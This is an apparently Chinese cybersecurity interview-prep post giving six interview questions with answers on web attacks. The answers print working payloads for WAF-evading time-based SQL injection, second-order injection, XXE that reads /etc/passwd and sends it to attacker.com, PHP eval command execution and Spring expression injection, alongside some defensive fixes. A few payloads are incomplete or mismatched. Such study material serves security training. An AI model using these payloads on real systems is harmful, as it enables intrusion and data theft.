《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN

下面是奇安信部分面试题:
问题1 :
如何利用基于时间的盲注绕过WAF进行数据库指纹识别?请详细说明攻击原理,并给出至少3种现代WAF的绕过技巧。
答案:
-
原理 :通过构造条件语句触发数据库延时函数(如MySQL的
SLEEP()
),根据响应时间差异判断条件真假。 -
绕过技巧 :
-
分块传输编码:利用HTTP协议分块传输绕过正则检测
-
Unicode编码混淆 :
SLEEP(5)
→\u0053\u004c\u0045\u0045\u0050(5)
-
参数污染 :
id=1&id=sleep(5)--
利用后端参数解析特性 -
注释符内联 :
/*!50000SLEEP(5)*/
(MySQL版本特性)
-
问题2 :
某系统使用预处理语句防御SQL注入,但仍存在二次注入漏洞。请分析其成因,并说明如何通过用户注册功能实现数据库篡改。
答案:
-
成因:数据存储时未过滤,后续拼接时触发注入。预处理仅防御即时查询,无法阻止存储的恶意数据被复用。
-
攻击步骤 :
-
注册用户名:
admin'--
(含单引号) -
修改密码时触发SQL:
UPDATE users SET password='xxx' WHERE username='admin'-- '
-
实际执行语句修改admin用户密码
-
问题3 :
给出以下XML解析代码,如何构造恶意XML实现/etc/passwd读取并外传数据?防御方案需修改哪些代码?
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
db.parse(new InputSource(inputStream));
答案:
-
攻击Payload:
<!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd;
]>
<root>&exfil;</root> -
防御方案 :
-
禁用DTD:
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
-
禁用外部实体:
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
-
问题4 :
如何通过DNS外带检测无回显的XXE漏洞?给出具体步骤及需要监控的日志类型。
答案:
-
构造恶意DTD触发DNS查询:
<!ENTITY % payload SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % int "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%payload;'>"> -
监控点 :
-
DNS服务器日志(如dig查询记录)
-
Web服务器访问日志(含base64参数)
-
-
利用协议封装:
ftp://attacker.com/%payload
(部分解析器支持)
问题5 :
某PHP系统使用eval("echo $userInput;")
,如何构造输入实现RCE?给出两种不同技术路线的Payload并说明修复方案。
答案:
-
Payload 1 (动态函数调用):
';system($_GET["cmd"]);//
→eval("echo '';system($_GET["cmd"]);//");
-
Payload 2 (反引号执行):
".
$_GET[cmd]."
→ 触发shell命令执行 -
修复 :
-
禁用
eval()
或严格过滤输入(白名单) -
设置
disable_functions=system,exec
-
问题6 :
某Spring MVC应用使用@ResponseBody
返回name=${param.user}
,攻击者如何利用此漏洞实现任意文件读取?给出完整利用链。
答案:
-
利用步骤 :
-
触发EL表达式:
user=__${T(java.lang.Runtime).getRuntime().exec("cat /etc/passwd")}__
-
利用
ScriptEngine
执行JS代码:
user=#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('cmd')")}
-
-
防御 :使用
@ResponseBody
时禁用表达式解析(Spring Security配置)